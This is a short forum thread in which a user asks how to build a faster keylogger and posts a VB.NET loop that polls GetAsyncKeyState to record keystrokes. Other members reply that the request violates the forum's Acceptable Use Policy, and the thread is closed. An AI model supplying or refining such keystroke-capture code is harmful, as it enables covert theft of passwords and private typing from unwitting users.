KeyLogger

Hi guys! How should I make a fast keylogger? e.g I've tried this method, but it seems like too slow, you know why. A fast tiping person would defeat it :D Any suggestions?? Thank you!!

Code:

---

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Short
For i = 1 To 255

            Dim intKey = 0
            intKey = GetAsyncKeyState(i)

            If intKey = -32767 Then

                RichTextBox1.Text = RichTextBox1.Text + Chr(i)

            End If

        Next i

---

Very few members here will answer a post like this. It violates the Acceptable Use Policy of this forum.

I reckon zero members would assist you

Indeed. Thread closed.